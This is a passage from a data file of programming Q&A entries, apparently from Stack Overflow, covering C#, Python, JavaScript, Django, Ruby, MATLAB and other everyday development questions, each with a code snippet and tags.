reading my thread and any input you have. :D\n", "// Code for InitializeConnection\
n// Our address to our Authentication Server\nIPEndPoint authenServerEP = new
IPEndPoint(IPAddress.Parse(\"192.168.1.100\"), 8007);\n\n// Connect to the
Authentication server\nwhile (!this.connected)\n{\n try\n {\n
this.sock.Connect(authenServerEP);\n this.connected = true;\n }\n
catch (SocketException retryConnectException)\n {\n if (false ==
retried)\n {\n retried = true;\n }\n }\n}\n", "c#
multithreading dialog"], "1187439": ["How do I approach fixing an
unreproducible/randomly occurring bug?", "We have a multilingual website in which a
bug was discovered some days ago. It was displaying other language data in other
language and also the mixture of data like English language was selected but it was
displaying other language data as well in the page and vice-versa. It is doing it
infrequently but is present in the website. Going through the code also doesn't
help because this is not always occurring.\nAny suggestion in finding the issue in
a timely manner? I am asking for strategies here.\n", "", "web-development testing
bug"], "2319454": ["Using Source Command From A Python Script", "I was tring to
call the source command in unix from a python script. I was trying to get it done
with subprocess.Popen passing the os environment to it.\nBelow is my function for
doing the task of executing a command:\n\nThe is an object of os.environ type.\n
says it is successful.\nBut I am not able to access the functions in the script.\
nThe case is like this:\nscript.sh follows:\n\n will call the function in the shell
script.\nBut I am not able to call the functions in the shell script from python.\
nHope I am clear.\n", "def run_command(command, tst_env):\n print tst_env\n
try:\n p = subprocess.Popen(command, env=tst_env, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True)\n stout, er = p.communicate()\n
print stout, er\n ret = p.wait()\n except Exception, e:\n
print \"Exception: \", e\n else :\n if ret:\n print
command, \"failed\", ret\n return\n else:\n print command,
\"succeeded\", ret\n return p\n", "python unix source python-subprocess-
module"], "62775": ["Does SimpleRepository support any in-memory or
other \"alternative\" database engines?", "I am looking for options other than MS
SQL Server/Express. There seem to be quite a few file based or in-memory database
engines supporting some subset or dialect of SQL. Preferably it would be an engine
not requiring installation at all.\nIs any of them supported by SimpleRepository?
Is any of them supported by ActiveRecord? Is there at least some partial support
for any of these alternative engines?\n", "", "database orm subsonic
simplerepository"], "619247": ["how to get JSON Results placed on Google Maps?", "I
am creating a simple apps using html5 and java script.\n I want to show nearest
places of any one city\n so already I set long and lat of a country.\nIf user
click school I want to show all school names nearest of long and lat with radius.\n
If user click church I want to show all church names nearest of long and lat with
radius.\n If user click hospital I want to show all hospital names nearest of
long and lat with radius. etc.\nI only have this link and sample related code:\n\
nso where I want to change to get place name.\n initially what do I do?\n",
"https://maps.googleapis.com/maps/api/place/search/json?location=-
33.8670522,151.1957362&radius=500&types=food&name=harbour&sensor=false&key=AIzaSyC1
BIAzM34uk6SLY40s-nmXMivPJDfWgTc\n\n\n$.getJSON(\"https://maps.googleapis.com/maps/
api/place/search/json?\",{\n location:\"-33.8670522,151.1957362\",\n
radius: 500,\n types:'food',\n name: 'harbour',\n sensor:
false,\n key: 'AIzaSyC1BIAzM34uk6SLY40s-nmXMivPJDfWgTc'\n
format: \"json\" \n },\n function(data) {\n $.each(data.results,
function(i,item){\n $(\"<img/>\").attr(\"src\",
results.name).appendTo(\"#images\");\n if ( i == 3 ) return false;\n });\n
}); \n", "javascript ajax html5 javascript-events"], "3164264": ["Array::include?
on ActiveRecord collection not calling op==?", "Given a collection of named s
from , why does not seem to call but yet does?\n\nI understand shallow about the
proxies, but (without a detour into the AR source) why is index seemingly behaving
correctly but include? is not !?\nIs this a bug in the proxy behavior, and/or is
this behavior documented somewhere ? \nThanks.\n", "Foo", "ruby-on-rails ruby
arrays collections associations"], "1297323": ["What does the folder Icon with \"2-
man\" mean/represent?", "I have a couple of folders under which looks like:\n\nIn
the image, we can see that one of the folders has a different icon. Initially I was
thinking it is a different status in which results in the different icon, but
after inspecting it, it doesn't seem to be the case.\nDoes anyone know what does
that icon mean/represent?\n==\nAdded Large View:\n\n", "%appdata%\\Microsoft\\
Windows\\Start Menu\\Programs", "windows windows-vista folder icons"], "2811631":
["how to select a file by default when open a folder in vfp 9.0", "I want to open a
folder, and select a file by default.\nI do it like this:\n\nBut if the folder has
been opened, the file can't be selected by default.\nHow to do it?\n", "Declare
Long WinExec In kernel32 String @, Integer\nWinExec(\"Explorer /select, C:\\
tt.txt\",5)\n", "file folder vfp"], "3506936": ["How do I specify an index for a
TextField in Django with a MySql backend?", "I've got a model defined in Django
that looks (in part) like this:\n\nHowever, when I try with a MySql backend, I get
\nHow can I fix this?\n", "class Info(models.Model):\n information =
models.TextField(max_length = 32, null = True, db_index = True)\n", "mysql django
django-models"], "5282663": ["Debugging iFilter plug-in (PDF indexing)", "I have
the official Adobe x64 iFilter PDF plug-in and the FoxIt Software iFilter PDF plug-
in installed, and neither one seems to be allowing me to index the contents of PDF
files. So far, I've:\n\nAdded my data folder into the Indexing service
configuration\nEnsured that PDF files are configured to index \"file properties and
contents\"\nRebuilt the index from scratch\n\nBut, when I search, I can only search
for PDF file names, not the contents of them. Any ideas on how to debug this
issue?\n", "", "windows-7 windows-search index"], "1768773": ["Redirect after
clicking Share Button on Facebook", "I'm trying to figure out how to redirect users
to a different page in a Page Tab Application similar to this one\n", "",
"javascript facebook button share"], "3613248": ["List child terms and posts in the
current term", "With this code parent term page lists all the child terms and the
child term page lists all of the posts in current term, and the single page lists a
big flat list of terms(hierarchical). \nNow,\nThe parent term page is fine. \nWhen
it's child term page, i want to list all child terms( not showing with this code )
+ the posts in current term( showing ). \nAnd when it's single post, i want to
list the same as child term page.\n\nIt is for a sidebar sub nav. is it a right
way to do?\nI'd really appreciate any help.\n", " $term =
get_queried_object();\n $tax = 'ntp_package_type';\n $parents =
$term->parent;\n $term_id = $term->term_id;\n\n if($parents == 0){\n
wp_list_categories( array (\n 'taxonomy' =>
'ntp_package_type',\n 'pad_counts'=> 0,\n
'title_li' => '',\n 'child_of' => $term_id,\n
)\n );\n }\n elseif (is_tax($tax, $term->name)){\n\n
$args = array(\n 'post_type' => 'ntp_package',\n
$tax => $term->name,\n );\n
$wp_query = new WP_Query($args);\n if( $wp_query-
>have_posts() ):\n while ( $wp_query->have_posts() ) : $wp_query-
>the_post();\n echo \"<p><a href=\\\"\".get_permalink().\"\\\">\".$post-
>post_title.\"</a></p>\";\n endwhile;\n endif;\n\n }\n
elseif (is_single()){\n\n }\n", "custom-taxonomy sidebar hierarchical sub-
menu"], "14170": ["When to allow Services to access the IoC Controller?", "What are
the scenarios in which it's OK to allow services created via IoC to have access
back to the IoC controller to access other services? It seems to me that the short
answer is never, but are there situations in which it's OK or even in which it
makes sense?\n", "", "dependency-injection inversion-of-control ioc-container"],
"664820": ["Storekit / In App Purchases: Does the \"Environment: Sandbox\" tag
disappear when I submit my app to the app store?", "This is my first time
implementing In App Purchases. During development and testing of my In App
Purchases, I see the following alerts during the In App Purchases:\n\n\n\nMy In App
Purchases work perfectly and the app is close to submission. \nDo I have to do
something before I submit the app (to make the \"Environment: Sandbox\" tag go
away) or is all of that handled automatically as I submit?\n", "", "iphone app-
store in-app-purchase storekit"], "5282660": ["SSD + LUKS performance comparison?",
"Our laptops and portable drives must be LUKS encrypted. LUKS doesn't really seem
to cause much performance loss on normal laptop hard drives (7200RPM) for us. With
the crazy data rates you get with SSDs, is that still true?\nI searched around a
little, but I didn't see any actual comparisons between LUKS vs. non-LUKS on SSDs.\
n", "", "performance ssd"], "5634183": ["when checkbox is checked, wrong value is
submitted for the property", "In the jqgrid, the column is defined as following:\n\
nGenerated html for the edit form is the following:\n\nSo when the checkbox is
unchecked, the correct value 'false' is submitted, but when the checkbox is
checked, 'true:false' is submitted, which is obviously wrong. I would want 'true'
to be submitted. What am I doing wrong?\nThanks!\n", " {name:'production',
index:'production', width:60, align:'center',
formatter:'checkbox',editable:true,edittype:'checkbox',editoptions:
{value:\"true:false\"},formoptions:{ rowpos:10,elmprefix:\"&nbsp;\" }},\n",
"jqgrid"], "4849141": ["Java get first and last 2 byte from int var", "I want
convert an int into 2 bytes representing that int.\nProbably must use bitwise and
bit shifting, but I dont know what to do.\n\n", "int x; /* val to convert */\n\n\
n// ?????????\n\n\nint b12; /* the first 2 bytes */\nint b34; /* the last 2 bytes
*/\n", "java bit-manipulation bitwise bit-shift-operators"], "2804969": ["Why Moles
picks up SharePoint.Behaviors for .NET v4.0 when all the rest is v3.5?", "I have a
ClassLibrary accessing SharePoint 2010 object model as part of a bigger SP 2010
Sandbox solution. All projects target .NET v3.5 (not client profile). Then there's
a ASP.NET WebApplication project used to test the ClassLibrary - still .NET v3.5.\
nI'm trying to use Microsoft Moles in order to mock SPContext.Current - which I
already know and have used - and I run into this problem: upon each build, the
moles framework will always pick the DLL for runtime v4.0.30319 in order to copy
it into MolesAssemblies. Instead for it picks v2.0.50727.\nIncidentally those are
just the DLLs found in . But I remember during Moles install that both v4.0 and
v3.5 moles were created.\nIs there a way to tell Moles to build and/or copy the DLL
for runtime v3.5?\nOr is there a special place were I should build and store them,
in order to let Moles pick them up?\nSomehow I also had a look at the temporary
options file created during build () and the last options are actually .\
nEnvironment: Windows 7 64bit, VS 2010 SP1, Moles v0.94.51023.0 - .NET v4.0.30319
(Moles only install, no Pex).\n", "Microsoft.SharePoint.Behaviors", "sharepoint2010
moles pex pex-and-moles"], "1266421": ["Create a new user on the xmpp server", "I'm
trying to create a new xmpp user from my rails application when a user registers. I
did not find an easy way to create a new xmpp user with the xmpp4r (or any other)
gem. Do you know how I can manage to create an xmpp user with ruby?\n", "", "ruby
xmpp"], "5131167": ["How to print a PDF with titlepage in two-up mode with the
title page on the right side?", "This is a followup to How to make the first page
of a PDF display by itself and the succeeding pages display two-up - how do I get
Acrobat X on Windows 7 to print a file with a title page correctly in two-up mode
so that the title page starts on the right half of the paper? The pdf in question
is the LuaTeX manual.\n", "", "windows-7 pdf printing adobe-acrobat"], "5929583":
["Is there a way to change the ctrl+k shortcut in IE8 to focus on the search box in
the top right corner (just like Firefox)?", "I would like to change the shortcut in
ie8 to map to search instead of copy tab. any ideas?\n", "", "keyboard-shortcuts
internet-explorer-8"], "4089683": ["Apache, Linux and Remote Commands Like 'Ping'",
"I need to contact a server (perhaps Apache) running on a Linux box and have it
return the following results. I am new to networking, but can write code in Java,
PHP and maybe a little C.\nI need to remotely run diagnostic tests from the Linux
box on the local area network. Ultimately these tests need to be delivered to a web
page on the client side.\nI am not sure where to begin on this project and
appreciate any suggestions or general strategies. I am familiar with a command
written in Java (i.e., Runtime.getRuntime().exec(\"ping -c 1 \" + ip); ), but I
don't know if it is necessary to involve Java and I don't know how to startup a
Java program on a server and return it to a PHP file. Is it possible to do this
without involving Java? Again any specific or high- level suggestions are
appreciated.\n", "", "linux remote-access remote ping"], "694754": ["Fortran and
mysql", "Is there a library (opensource), so I can access MySQL in Fortran?\n", "",
"mysql fortran"], "4103478": ["Shortcode perfomance solution", "I have a site that
is performance critical. Doing shortcodes I thought about the time the server needs
to parse and return the content, instead to allow some HTML () to go through the
TinyMCE editor. In the meantime, my code for that is:\n\nPerformance critical or
not, I think that nothing could beat a button to allow a pass through directly in
the visual editor and show - like it does when you press the [B] button to make .\
nSo, i'm between keeping the shortcode, or making a TinyMCE button for and showing
the result in the visual editor.\n", "<div class=\"redletter\">", "shortcode
performance visual-editor plugin-tinymce"], "6013891": ["How to show a list over
several pages", "I am using Asp.NET MVC4 with Razor. \nI want to show a list of
items/entries (coming from a database) over several pages where the user can
navigate to the next page or a specific page and each page shows e.g. 30 entries.
It should be similar to the way the questions are structured in stackoverflow with
this little page navigator at the bottom. How would I do that? I would guess that
an example already exists but I have not found any. \nRight now I show all my items
on one page using a partial view in my index-view: \n\nI could probably only show
the first 30 items but how do I store on which page I am and make the links so that
the user can navigate to the other pages? \n", "@foreach (var item in Model) {\n
@Html.Partial(\"_ItemInList\",item) \n", "asp.net razor asp.net-mvc-4"],
"3502100": ["How to simulate a click on a element which also results in invoking
attached events?", "My test case is @ Gmail, I am trying to simulate a click to
open the first e-mail with JavaScript.\nActually I did a successful attempt which
is done by firing a mousedown event.\nBut I wonder if there is a generic method to
generate \"organic\" clicks instead of me wasting time on investigating attached
events ?\nThank you.\n", "", "javascript jquery events javascript-events click"],
"927422": ["How can I simulate/mock/bypass a JEE6 container managed login?", "I'm
using JEE6 security annotations and a programmatic login:\n\nHowever, for testing,
I'd like to be able to 'simulate' a user login, and fool the app that a user logged
in, without actually executing the above code. will ping the container for a
login, I just want to tell the container that foo user has logged in and there is
no need to check the password. I really don't want a solution that involves writing
a login module or changing the settings of the entire container.\nThanks guys!\
nEDIT #1: What appserver am I using?\nI'm using GlassFish 3.1.1. However, if
possible, I'd like a solution that is 'container independent' using any available
JEE6 api.\nEDIT #2: Mr. Balus (a well regarded expert) is unaware of any api-
neutral way bypassing the actual login. I supposed I could write my own \"Yes-Man\"
login module, but I'm curious if anyone knows how to bypass the restriction
specifically in the GlassFish environment. \nThanks!\nEDIT #3: To anyone who finds
this question later, I'm switched to Apache Shiro. I've used Spring Security in the
past, but it's overkill for this app.\n", "@RolesAllowed(\"Admin\")", "java java-ee
glassfish"], "3518946": ["Doctrine2 entity based custom Id generation strategy",
"i'm in the process of migrating a CodeIgniter web app into Symfony2 while i found
an entity which Id is generated through another Entity Id, so i'm looking for an
elegant solution to implement that case.\nOne option, which i didn't really like
involves a listener which behaviour would be to listen on each new parent entity
flush and then generate the child entity with the parent
entity id.\nAnother option could be to use a handler for the parent which used for
persisting the parent and then to persist the child with the parent Id.\nA last
one, could be creating a custom id generator, but i don't know how to inject the
new created entity to the generator which could look like the following one:\n\n
class CustomIdGenerator extends AbstractIdGenerator\n {\n public function
generate( EntityManager $em, $childEntity, $parentEntity)\n {\
n //Here i would place the code to to assign parent Id to child entity.\
n }\n\n }\n\nCould anyone give a hint about where to go? Thanks in
advanced!\n", "", "symfony2 doctrine2"], "590756": ["apply jquery attribute to
another div", "I am using a jquery slider which automatically generates pagination
bullets with the following html output:\n\nYou can see an example of this at
http://pixelcakecreative.com/\nI want to be able to reset the slides position (set
it back to the first slide) when you click on one of the following anchor links: \
n\nThe slider is actually 3 sliders within a div that switches it's position based
on whatever anchor (above code) is clicked. So basically, when you click on any of
the links that switch the project slider, I want to go back to the first image of
the slider.\nI tried this with no luck, any idea on how to do this?\nIll start off
the jquery with my existing code for clicking one of the trigger links:\n\n$
('.pagination li:nth-child(1) a').click();\n\nUPDATE: I Found solution: $
('.pagination li:nth-child(1) a').click();\n", "<ul class=\"pagination\">\n <li
class=\"current\"><a href=\"#0\">1</a></li>\n <li><a href=\"#1\">2</a></li>\n
<li><a href=\"#2\">3</a></li>\n <li><a href=\"#3\">4</a></li>\n</ul>\n", "jquery
dynamic attributes slider"], "850471": ["I need help extracting values from xml in
ruby/rails", "I am working on personal project and using Rails to learn the
framework. The project is music based and I'm using ChartLyrics.com's API to
retrieve song lyrics. The API returns XML and I am having trouble extracting the
actual lyric element from the XML. \nI have installed the Nokogiri gem to help
parse the XML. The following is what I'm using to retrieve the data. From the
rails console:\n\nI shortened the lyrics to save space. How do I extract the
'Lyric' element? I've tried all of the following:\n\n'lyrics' is nil everytime.
Can anyone tell me what I'm doing wrong? Thanks\n", "doc =
Nokogiri::XML(open(http://api.chartlyrics.com/apiv1.asmx/SearchLyricDirect?
artist=michael%20jackson&song=bad))\nputs doc\n\n<?xml version=\"1.0\"
encoding=\"utf-8\"?>\n<GetLyricResult xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-
instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns=\"http://api.chartlyrics.com/\">\n <TrackId>0</TrackId>\n
<LyricChecksum>a4a56a99ee00cd8e67872a7764d6f9c6</LyricChecksum>\n
<LyricId>1710</LyricId>\n <LyricSong>Bad</LyricSong>\n <LyricArtist>Michael
Jackson</LyricArtist>\n <LyricUrl>http://www.chartlyrics.com/28h-8gWvNk-Rbj1X-
R7PXg/Bad.aspx</LyricUrl>\n
<LyricCovertArtUrl>http://ec1.images-amazon.com/images/P/B000CNET66.02.MZZZZZZZ.jpg
</LyricCovertArtUrl>\n <LyricRank>9</LyricRank>\n
<LyricCorrectUrl>http://www.chartlyrics.com/app/correct.aspx?lid=MQA3ADEAMAA=</
LyricCorrectUrl>\n <Lyric>\n Because I'm bad (bad-bad), I'm bad, come on
(really, really bad)\n You know I'm bad (bad-bad), I'm bad, you know it
(really, really bad)\n You know I'm bad (bad-bad), I'm bad, you know it
(really, really bad) you know\n And the whole world has to answer right now\n
Just to tell you once again\n </Lyric>\n</GetLyricResult>\n", "ruby-on-rails ruby
xml nokogiri"], "5967109": ["Spacing between footnotes and footnote mark", "The
school I attend requires that footnotes be single spaced with a blank line in
between. That is easy enough with , but the first footnote has to be close to the
footnote mark. Not sure how to do this.\n\nTried to add image but won't let new
user. Sorry\n", "\\footnotesep", "spacing footnotes"], "5087627":
["QLPreviewController issue", "I am trying to display the documents, images, PDF
from the URL using QLPreviewController in iPad. It is working with lower versions
upto iOS5 but the same thing which is not working with iOS6 and QLPreviewController
am using as subview and i am not using the navigation controller.\nIs there any
other libraries are available for showing the documents in iOS.\nCan any one help
me?\nThanks\n", "", "iphone ios ipad mobile"], "4830101": ["How to download apk
within phonegap app", "We are developing a PhoneGap app and want to provide a link
to the new apk file when a new version is available.\neg: \n\nIt is an in-house
app so we cannot put it on the android market. It worked fine with PhoneGap 1.5,
but after an upgrade to version 1.9 it stopped working. If you click on the link
nothing happens.\nI've added our server to cordova.xml (, also tried ) and granded
the permission INSTALL_PACKAGES in AndroidManifest.xml\nHas anyone an idea what i
am missing? Is it a permissions issue?\n", "<a
href=\"http://myserver.com/myapp.apk\">Download</a>\n", "android phonegap apk
cordova"], "4980392": ["Changing resources used by EF data annotations at runtime",
"I'm using data annotations for validation and a resource file for localization and
globalization purposes. Something like this:\n\nThe model is on its own assembly so
i can share it between web and windows version of the application.\nAnd here is
where I'm getting stuck: \"CommonResources\" is embedded on the model assembly and
I'd like to keep it that way for default messages, however I'd like to provide a
way to override this \"default resources\" for the ones used by the presentation
layer. E.g:\nFor my MVC application I could override the default resource on the
Global.asax, something like this:\n\nSo, if the MVC application is localized, I can
provide its resource to the model or else, use the model default resources.\nNot
sure if I'm complicating things or if I'm seeing it straigh but I hope you get the
picture.\nThanks in advance.\n", "public class Account {\n\n [Required()]\n
[Display(Name=\"Username\", ResourceType=typeof(CommonResources))]\n public
string UserName {\n }\n}\n", "asp.net-mvc-3 entity-framework entity-framework-4
ef-code-first dataannotations"], "3518945": ["Use continue or Checked Exceptions
when checking and processing objects", "I'm processing, let's say a list
of \"Document\" objects. Before I record the processing of the document successful
I first want to check a couple of things. Let's say, the file referring to the
document should be present and something in the document should be present. Just
two simple checks for the example but think about 8 more checks before I have
successfully processed my document.\nWhat would have your preference?\n\nOr\n\nWhat
is more readable. What is best? Is there even a better approach of doing this
(maybe using a design pattern of some sort)? \nAs far as readability goes my
preference currently is the Exception variant... \nWhat is yours?\n", "for
(Document document : List<Document> documents) {\n if (!fileIsPresent(document))
{\n doSomethingWithThisResult(\"File is not present\");\n continue;\n
}\n if (!isSomethingInTheDocumentPresent(document)) {\n
doSomethingWithThisResult(\"Something is not in the document\");\n
continue;\n }\n doSomethingWithTheSucces();\n}\n", "java coding-style code-
review"], "4232904": ["Sorting and randomising a matrix according to a particular
constraint", "I have a 32 x 3 matrix as follows:\nA =\n[ 1 1 1;\n1 1 2;\
n1 1 3;\n1 1 4;\n1 1 5;\n1 1 6;\n1 1 7;\n1 1 8;\n1 2
1;\n1 2 2;\n1 2 3;\n1 2 4;\n1 2 5;\n1 2 6;\n1 2 7;\n1 2
8;\n2 1 1;\n2 1 2;\n2 1 3;\n2 1 4;\n2 1 5;\n2 1 6;\n2 1
7;\n2 1 8;\n2 2 1;\n2 2 2;\n2 2 3;\n2 2 4;\n2 2 5;\n2 2
6;\n2 2 7;\n2 2 8]\nWhat I need to do is randomise the order of the rows,
while keeping the row values together, however, this needs to be constrained such
that for A(:, 4), every 8 rows contain only the numbers 1 - 8. So for example, you
could have something like:\nA(1:8, :) =\n[ 1 2 4;\n1 1 5;\n2 1 6;\n1 1 8;\n2 2 1;\
n2 1 2;\n2 1 7;\n1 1 3]\nThe occurrence of 1 and 2 in the first two columns needs
to be random, 1 - 8 needs to be randomised for every 8 values of the third column.
Initially I tried to use the function randswap within a loop with an added
constraint, but this has only led to an infinite loop. Also important that the rows
stay together as the 1s and 2s in the first two columns need to appear alongside
the last column an equal number of times. Someone suggested the following, but it
doesn't quite work out..\n\n", " m = size(A,1);\n\n n = 1:8;\n\n out = 1;\n\n
i2 = 1;\n\n while ~all(ismember(1:8,out)) && i2 < 100\n\n i1 = randperm(m);\n\n
out = A(i1(n),:);\n\n i2 = i2 + 1;\n\n end\n", "matlab matrix"], "1432793":
["UIBarButtonItem Offset?", "I am trying to offset the UIBarButtonItems in my app,
I need them slightly offset due to the image I use for my navigation bar so it all
lines up correctly. I have managed to do this like so:\n\nI have two queries
though.\n\nThis stops the buttons have any highlighted state, they function but are
no linger visibly pressed down. Anyway around this?\nMore importantly, this works
well pushing my buttons upwards in my nav bar, but it pushes them up in my toolbars
as well at the bottom of the screen where I need the opposite, actually push them
down a little. How can I handle this?\n\nAny help always appreciated, thanks.\n",
"[[UINavigationBar appearance] setTitleVerticalPositionAdjustment:-3
forBarMetrics:UIBarMetricsDefault];\n [[UIBarButtonItem appearance]
setBackgroundVerticalPositionAdjustment:-3
forBarMetrics:UIBarMetricsDefault];\n [[UIBarButtonItem appearance]
setBackButtonBackgroundVerticalPositionAdjustment:-3
forBarMetrics:UIBarMetricsDefault];\n", "iphone objective-c uinavigationbar
uibarbuttonitem uitoolbar"], "602": ["Facebook Like button information copied",
"When you click a Like button it seems to copy the page title, some meta words, one
image, and the first quote it finds between marks to your Facebook page. Does
Facebook define somewhere exactly what is copied?\nAlso the copied information
seems to be cached somewhere because if I change it on the website and
unlike/relike the page, the old information still gets transferred again to
Facebook. Is there a way to clear this cache so new data is copied?\nThanks for
your help,\nSteve\n", "&quot;", "facebook-like"], "1247707": ["Location with
Timeout", "We needed a location service for our app that was available from
anyplace.\nWe used s singletone with Application context for system services and
more, and has two basic methods start and stop which listen to location providers
and stop listening respectively.\nWe have getLastLocation method that retrieves the
current most updated and accurate location we could find.\nWe have another method
that gives me a headache :-)\nLocation getLocationWithWait(Class c) which supposed
to get a location if available, if not it will return null and will create a Timer
for 45 seconds.if the 45 seconds have passed and no location was found then the
timer will broadcast to the class given in the parameter a 'no location' broadcast,
otherwise if the location callbacks will be called they will cancel the timer and
will send 'location found' broadcast to the class in the parameter.\nSo here are my
questions:\n\ni started to think the whole\narchitecture here is wrong, any\nbetter
way to implement a location\nservice to cater ANY Activity in my\napplication ?\ni
used a Timer an not Handler since\nthe singletone i use is NOT an\nactivity so i
have no Looper an\ncreating a thread with looper looks\nto me just as bad as
creating\nanother Thread for the timer... i\ndid wanted to use the Activity\
ninstead, but then... if the activity\npauses and resumes i need to keep\ntrack of
the timer's remaining time.\nthe broadcasts may also be of a\nproblem since if the
activty pauses\nit will miss the broadcast and then\ni need to keep track in my\
nsingletone after several states,\nStickyBroadcast may solve it but\nthat one i
can't send to specific\nclass but to the whole system only.\n\nSo finally will it
be any advantage to make this class a Service ?(to be honest i thought of maybe one
advantage but not much) i want a location service with timeout much like google do
in their \"My Location\" in maps.\n10x.\n", "", "android timeout location"],
"3507452": ["Is there a way to access Bluetooth 4.0 Low Energy devices in iOS?",
"The new iPhone 4S has support for Bluetooth 4.0 Low Energy devices. Is there an
API for communicating with these devices in iOS?\n", "", "ios bluetooth core-
bluetooth bluetooth-lowenergy"], "4078922": ["How to inject/generate plumbing code
into methods decorated with an Attribute?", "I was reading through some articles on
Caching and Memoization and how to implement it easily using delegates and
generics. The syntax was pretty straightforward, and it is surprisingly easy to
implement, but I just feel due to the repetitive nature it should be possible to
generate code based on an Attribute, instead of having to write the same plumbing
code over and over.\nLet's say we start off with the default example:\n\nAnd then
to memoize this:\n\nI thought, wouldn't it be simpler to just make a code generator
that spits out this code, once it finds a tagged method that matches one of the
Memoize extension methods. So in stead of writing this plumbing code, I could just
add an attribute:\n\nHonestly, I know this is looking more like compiler sugar that
should be converted by a preprocessor than actual code generation but my question
is:\n\nWhat do you think is the best way to find the methods in a c# source file
that have a given attribute, parsing out the parametertypes and returntype, and
generating a delegate that matches this fingerprint\nWhat would be the best way to
integrate this into the build process, without actually overwriting my code. Is it
possible to do some preprocessing on the source files before passing it on to the
compiler?\n\nThanks for any and all ideas.\nUpdate:\nI have looked into the
Postsharp library as Shay had suggested, and it seemed very suited for the job on
non time-critical applications like Transaction Management, Tracing or Security.\
nHowever when using it in a time-critical context it proved a LOT slower than the
delegate. One million iterations of the Fibonacci example with each implementation
resulted in a 80x slower runtime. (0.012ms postsharp vs 0.00015ms delegate per
call)\nBut honestly the result is completely acceptable in the context in which I
intend to use it. Thanks for the responses!\nUpdate2:\nApparently the author of
Postsharp is working hard on a release 2.0 which will include, among other things,
performance improvements in produced code, and compile time. \n", "class Foo\n{\n
public int Fibonacci(int n)\n {\n return n > 1 ? Fibonacci(n-1) + Fibonacci(n-
2) : n;\n }\n}\n", "c# attributes code-generation postsharp syntactic-sugar"],
"4418894": ["How do I count a specfic text value in Sharepoint List column", "Im
currently trying to count the amount times a specific text string ( \"1 JAN\" & \"2
FEB\") occurs in SharPoint List column. Below is my code it only returns the first
text srting value it does not count\n\n", "function ResultsAT(xData, status) {\n
var Month = []\n var dCounts = [i]\n var i = 0;\n var dNumber = 0;\n\n
var TableRowScBrd = \"<table>\";\n TableRowScBrd += \"<TR><TH style='text-
align:
Left'>CLIENT</TH><TH>JAN</TH><TH>FEB</TH><TH>MAR</TH><TH>APR</TH><TH>MAY</
TH><TH>JUN</TH><TH>JUL</TH><TH>AUG</TH><TH>SEP</TH><TH>OCT</TH><TH>NOV</
TH><TH>DEC</TH><TH>Total</TH></TR>\";\n\n\n $
(xData.responseXML).find(\"z\\\\:row\").each(function () {\n\n i = i + 1\n\n
var sReportMonth = $(this).attr(\"ows_ReportMonth\");\n var sServiceManager
= $(this).attr(\"ows_ServiceManager\");\n sServiceManager =
sServiceManager.substr(sServiceManager.indexOf(\"#\") + 1);\n var dCounts =
$(this).attr(\"ows_ReportMonth\");\n var Manager = sReportMonth +
sServiceManager;\n var dReasons = $(this).attr(\"ows_ReportMonth\");\n
dReasons = dReasons.substr(dReasons.indexOf(\"#\") + 1);\n\n\n if
(Month[sServiceManager] == undefined) \n {\n\n
Month[sServiceManager] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\n\
n }\n\n if (Month[sServiceManager] != undefined)\n
{\n\n }\n\n if (dReasons == \"1 JAN\") { Month[sServiceManager]
[0] = dCounts; }\n if (dReasons == \"2 FEB\") { Month[sServiceManager][1] =
dCounts; }\n if (dReasons == \"3 MAR\") { Month[sServiceManager][2] =
dCounts; }\n\n\n dNumber = Month[sServiceManager][0] +
Month[sServiceManager][1] + Month[sServiceManager][2]\n //
TableRowScBrd += \"<TR><td>\" + sReportMonth + \"</td><td>\" + sServiceManager
+ \"</td><td>\" + i + \"</td><TR>\";\n\n });\n\n\n var key
= \"\";\n for (key in Month) {\n
TableRowScBrd += \"<TR><td style='text-align: Left'>\" + key + \"</td><td>\" +
Month[key][0] + \"</td><td>\" + Month[key][1] + \"</td><td>\" + Month[key][2]
+ \"</td><TR>\";\n }\n\n TableRowScBrd += \"</Table>\";\n
$(\"#tasksAT\").append(TableRowScBrd);\n\n\n\n }\n", "javascript jquery
sharepoint"], "638425": ["Ant JUnit failure with french thousands separator",
"Using Netbeans 6.9.1 my unit tests pass without issue. Using junit (4.8.2, which
seems to be the same version that Netbeans uses) the tests fail on the command
line.\nThe failure has to do with this line:\n\nOn the command line the message
displays as:\n\nx doit \u251c\u00actre >= 10 et < 100, \u251c\u2310tait la\n
suivante: 1\u00e1000\n\nI am at a loss for what is going on. I know that the
thousands separator is not a space but 0XA0, no issue with that, but the fact that
Netbeans and the command line are in disagreement about it is a real issue.\nI am
using ant 1.8.1 which is also the same version as Netbeans. It happens on OS X
(10.6.5) and Windows 7. I still need to check Ubuntu 10.10.\nAny ideas why it
works in Netbeans but not on the command line in ant?\n", "assertEquals(\"x doit \
u00eatre >= 10 et < 100, \u00e9tait la suivante: 1\u00a0000\",
messages_fr.between(\"x\", 10, 100, 1000));\n", "java netbeans ant"], "651556":
["Proving correlation coefficient = 1 or -1 given X and Y=a + bX", "Given $X$ and
$Y = a+bX$, I have to prove that:\n\nIf $b \\lt 0$, then $\\rho = -1$. If $b \\gt
0$, then $\\rho = 1$.\n\nI've gotten to the point where I have:\n$$ \\rho = \\
frac{b \\cdot \\sigma_x }{ \\sqrt{\\sigma_y^2} }$$\nI need to find why $\\sigma_y^2
= b^2 \\sigma_x^2$.\nCan anyone please explain to me why that is the case?\nI
tried rewriting $\\sigma_y^2$ as: $E[(a+bX)(a+bX)] - E^2[a+bX] $. And got: $$a^2 +
2abE[X] + b^2E[X^2] - a^2 - b^2E^2[X] ,$$ which became: $2ab E[X] + b^2 \\
sigma_x^2$. \nWhat is the extra 2abE(x) term? Is that supposed to go away
somehow?\nThanks.\n\n", "", "statistics average correlation"], "1740413": ["Itemize
with tags", "Is there an itemize or enumerate like environment that allows you to
use words preceding each item instead of a dot or number. So it'll output something
nice
for text structures like the following: \nBlogiddy Bloop --- A bloggidy bloop is a
thing that does stuff. \nApwitchik --- A apwitchik is a thing that does other
